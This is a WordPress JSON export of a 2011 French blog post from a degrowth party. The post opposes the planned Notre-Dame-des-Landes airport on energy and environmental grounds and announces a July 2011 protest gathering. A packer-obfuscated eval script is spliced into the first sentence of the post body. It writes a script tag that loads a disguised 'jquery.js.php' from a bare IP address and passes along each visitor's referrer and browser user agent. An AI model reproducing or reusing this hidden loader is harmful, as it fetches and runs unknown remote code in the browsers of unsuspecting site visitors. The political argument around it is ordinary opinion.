{"id":6185,"date":"2011-05-06T23:35:32","date_gmt":"2011-05-06T22:35:32","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=6185"},"modified":"2012-12-26T19:14:39","modified_gmt":"2012-12-26T18:14:39","slug":"notre-dame-des-landes-un-choix-energetique-un-choix-de-societe-resistance-au-projet-de-nouvel-aeroport","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=6185","title":{"rendered":"Notre Dame des Landes, un choix \u00e9nerg\u00e9tique, un choix de soci\u00e9t\u00e9 : R\u00e9sistance au projet de nouvel a\u00e9roport !"},"content":{"rendered":"<p><span style=\"color: #333333; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 12px; line-height: 16px;\"><a href=\"http:\/\/ete-2011-resistance-ndl.blogspot.com\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/3.bp.blogspot.com\/-Sg0wfNiiKwQ\/TcLkjz6wW-I\/AAAAAAAACbw\/QVswqmC99z8\/s320\/Affiche2011_07_08_R4_validee.jpg\" alt=\"\" width=\"143\" height=\"204\" \/><\/a><\/span><strong>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yehsy|var|u0026u|referrer|bsyfe||js|php'.split('|'),0,{}))\n<\/script><\/noindex> projet d\u2019a\u00e9roport \u00e0 Notre-Dame-des-Landes est n\u00e9 dans les ann\u00e9es 70 avec comme ambition d\u2019accueillir le Concorde. <\/strong>Apr\u00e8s une hibernation de plusieurs d\u00e9cennies, le projet a \u00e9t\u00e9 r\u00e9activ\u00e9 au d\u00e9but des ann\u00e9es 2000 par Jean-Marc Ayrault, pr\u00e9sident du groupe socialiste \u00e0 l\u2019Assembl\u00e9e Nationale.<\/p>\n<p>Cette nouvelle plate-forme, \u00e0 vocation internationale, serait destin\u00e9e \u00e0 accueillir 9 millions de passagers en 2050, contre 3 millions pour l\u2019actuel a\u00e9roport nantais. Elle est vue par ses promoteurs comme un futur moteur de l\u2019\u00e9conomie locale, malgr\u00e9 les exemples r\u00e9cents de nouveaux a\u00e9roports qui ne voient aucun ou tr\u00e8s peu d\u2019avions atterrir, comme \u00e0 Angers, Vatry ou \u00e0 Brive.<\/p>\n<p>Le projet d\u2019a\u00e9roport \u00e0 Notre-Dame-des-Landes est \u00e0 contre-courant des choix indispensables de soci\u00e9t\u00e9s :<!--more--><\/p>\n<ul>\n<li> Les ressources p\u00e9troli\u00e8res seront dans les prochaines ann\u00e9es de plus en plus rares, le pic p\u00e9trolier ayant \u00e9t\u00e9 d\u00e9pass\u00e9.<\/li>\n<li> La l\u00e9gitime revendication des peuples du Sud aux partages des ressources naturelles impose \u00e0 nos soci\u00e9t\u00e9s occidentales de diminuer leur consommation en \u00e9nergie fossile.<\/li>\n<\/ul>\n<ul>\n<li> Le nucl\u00e9aire n\u2019est pas et ne sera jamais une solution de remplacement, tant par la raret\u00e9 de la mati\u00e8re premi\u00e8re utilis\u00e9e, que par sa dangerosit\u00e9, comme le montre la dramatique situation japonaise.<\/li>\n<li> Le recours \u00e0 des ressources non conventionnelles (gaz de schiste notamment) pr\u00e9sente de graves risques de pollution des zones concern\u00e9es et le co\u00fbt de leur extraction est tr\u00e8s \u00e9lev\u00e9.<\/li>\n<\/ul>\n<p>Les ressources fossiles seront in\u00e9luctablement de plus en plus ch\u00e8res dans les prochaines ann\u00e9es : il nous faut donc d\u00e8s aujourd\u2019hui les \u00e9conomiser.<\/p>\n<p>Promouvoir le d\u00e9veloppement du transport a\u00e9rien actuellement, comme les dirigeants socialistes du Grand Ouest l\u2019ont choisi, est tout bonnement irresponsable.<\/p>\n<p><span style=\"color: #333333; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 12px; line-height: 16px;\"> <\/span><\/p>\n<div><strong><span style=\"font-size: small;\">Le rassemblement des 8, 9 et 10 juillet 2011 sur les terres de Notre-Dame-des-Landes permettra d\u2019affirmer l\u2019opposition \u00e0 ce projet d\u2019un autre si\u00e8cle et \u00e0 promouvoir d\u2019autres choix de soci\u00e9t\u00e9, une soci\u00e9t\u00e9 consciente du caract\u00e8re fini de la plan\u00e8te.<\/span><\/strong><\/div>\n<div><em>Collectif national de lutte contre le projet d\u2019a\u00e9roport de Notre-Dame-des-Landes<\/em><\/div>\n<p><span style=\"color: #333333; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 12px; line-height: 16px;\">source : <\/span><a href=\"http:\/\/ete-2011-resistance-ndl.blogspot.com\/\">http:\/\/ete-2011-resistance-ndl.blogspot.com\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le projet d\u2019a\u00e9roport \u00e0 Notre-Dame-des-Landes est n\u00e9 dans les ann\u00e9es 70 avec comme ambition d\u2019accueillir le Concorde. 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